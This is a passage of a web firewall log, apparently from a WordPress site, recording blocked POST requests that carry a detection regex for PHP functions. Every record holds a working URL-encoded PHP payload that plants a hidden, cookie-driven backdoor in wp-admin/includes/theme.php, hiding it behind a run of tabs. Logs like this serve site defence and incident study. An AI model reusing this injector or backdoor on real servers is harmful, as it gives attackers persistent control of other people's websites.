0=71\n\nQg=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/theme.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B27%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D10%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B27%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B27%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B27%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B10%252B1%253B%257D%2524k%253D%2524p%255B18%255D%2528%2529.%2524p%255B12%255D%253Bif%2528%2521%2524p%255B4%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B6%255D%2528%2524k%252C%2524p%255B14%255D%2529%253B%2524p%255B0%255D%2528%2524n%252C%2524p%255B26%255D.%2524p%255B23%255D%2528%2524p%255B2%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:39:47","141.95.124.215","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Ba:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/theme.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B27%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D10%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B27%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B27%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B27%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B10%252B1%253B%257D%2524k%253D%2524p%255B18%255D%2528%2529.%2524p%255B12%255D%253Bif%2528%2521%2524p%255B4%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B6%255D%2528%2524k%252C%2524p%255B14%255D%2529%253B%2524p%255B0%255D%2528%2524n%252C%2524p%255B26%255D.%2524p%255B23%255D%2528%2524p%255B2%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-length:3239\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\nsec-fetch-mode:navigate\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvDzRvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvZy9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nBa=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/theme.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B27%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D10%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B27%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B27%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B27%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B10%252B1%253B%257D%2524k%253D%2524p%255B18%255D%2528%2529.%2524p%255B12%255D%253Bif%2528%2521%2524p%255B4%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B6%255D%2528%2524k%252C%2524p%255B14%255D%2529%253B%2524p%255B0%255D%2528%2524n%252C%2524p%255B26%255D.%2524p%255B23%255D%2528%2524p%255B2%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:39:49","51.38.81.255","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Ov:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/theme.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B27%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D10%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B27%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B27%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B27%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B10%252B1%253B%257D%2524k%253D%2524p%255B18%255D%2528%2529.%2524p%255B12%255D%253Bif%2528%2521%2524p%255B4%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B6%255D%2528%2524k%252C%2524p%255B14%255D%2529%253B%2524p%255B0%255D%2528%2524n%252C%2524p%255B26%255D.%2524p%255B23%255D%2528%2524p%255B2%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-length:3239\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\nsec-fetch-mode:navigate\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvG3LvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvrS9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nOv=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/theme.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B27%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D10%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B27%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B27%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B27%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B10%252B1%253B%257D%2524k%253D%2524p%255B18%255D%2528%2529.%2524p%255B12%255D%253Bif%2528%2521%2524p%255B4%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B6%255D%2528%2524k%252C%2524p%255B14%255D%2529%253B%2524p%255B0%255D%2528%2524n%252C%2524p%255B26%255D.%2524p%255B23%255D%2528%2524p%255B2%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:39:52","89.167.82.230","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/theme.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B27%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D10%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B27%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B27%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B27%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B10%252B1%253B%257D%2524k%253D%2524p%255B18%255D%2528%2529.%2524p%255B12%255D%253Bif%2528%2521%2524p%255B4%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B6%255D%2528%2524k%252C%2524p%255B14%255D%2529%253B%2524p%255B0%255D%2528%2524n%252C%2524p%255B26%255D.%2524p%255B23%255D%2528%2524p%255B2%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-fetch-user:?1\nupgrade-insecure-requests:1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-fetch-site:none\nsec-ch-ua-mobile:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-platform:\"Android\"\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-encoding:gzip,deflate\ncontent-length:3262\nhost:dewenlabels.com\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nsec-fetch-mode:navigate\naccept:*\/*\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/theme.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B27%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D10%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B27%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B27%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B27%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B10%252B1%253B%257D%2524k%253D%2524p%255B18%255D%2528%2529.%2524p%255B12%255D%253Bif%2528%2521%2524p%255B4%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B6%255D%2528%2524k%252C%2524p%255B14%255D%2529%253B%2524p%255B0%255D%2528%2524n%252C%2524p%255B26%255D.%2524p%255B23%255D%2528%2524p%255B2%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 09:39:55","212.87.197.20","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> HQ:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/theme.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B27%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D10%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B27%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B27%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B27%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B10%252B1%253B%257D%2524k%253D%2524p%255B18%255D%2528%2529.%2524p%255B12%255D%253Bif%2528%2521%2524p%255B4%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B6%255D%2528%2524k%252C%2524p%255B14%255D%2529%253B%2524p%255B0%255D%2528%2524n%252C%2524p%255B26%255D.%2524p%255B23%255D%2528%2524p%255B2%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\naccept-encoding:gzip,deflate\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFSRvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzkiL2gyMPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 